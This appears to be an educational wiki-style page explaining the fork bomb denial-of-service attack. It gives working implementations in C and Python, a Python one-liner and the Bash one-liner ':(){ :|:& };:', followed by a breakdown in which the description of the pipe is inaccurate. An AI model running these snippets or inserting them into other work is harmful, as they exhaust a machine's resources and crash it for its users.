Fork bomb

Summary

The Fork Bomb (also called rabbit virus or wabbit) is a memory exhausting Denial of Service (DoS) Attack. It depletes the memory of a machine by replicating itself exponentially until all memory is used up.

Implementation

Pseudo Code

C

#include <unistd.h> 
int main(void) 
{  
  for(;;)  
     fork(); 
  return 0; 
}

Python

import os
   
while True:  
   os.fork() 

python -c 'while 1: __import__("os").fork()'

Unix Bash

:(){ :|:& };: 

This short form can be deciphered like this

:()       # Defines the following function ":" 
{
   :       # Loads a copy of the function ":"
   |       # Redirects the Output that it is not seen in the shell
   :       # Loads a copy of the function ":"
   &       # Runs the programs as a background process
}
:         # Runs the beforehand defined function ":"

References

[1] https://de.wikipedia.org/wiki/Forkbomb (german version for source code)

[2] https://en.wikipedia.org/wiki/Forkbomb

[3] https://www.geeksforgeeks.org/fork-system-call/

[4] IEEE: Exploring the Possibility of USB based Fork Bomb Attack on Windows Environment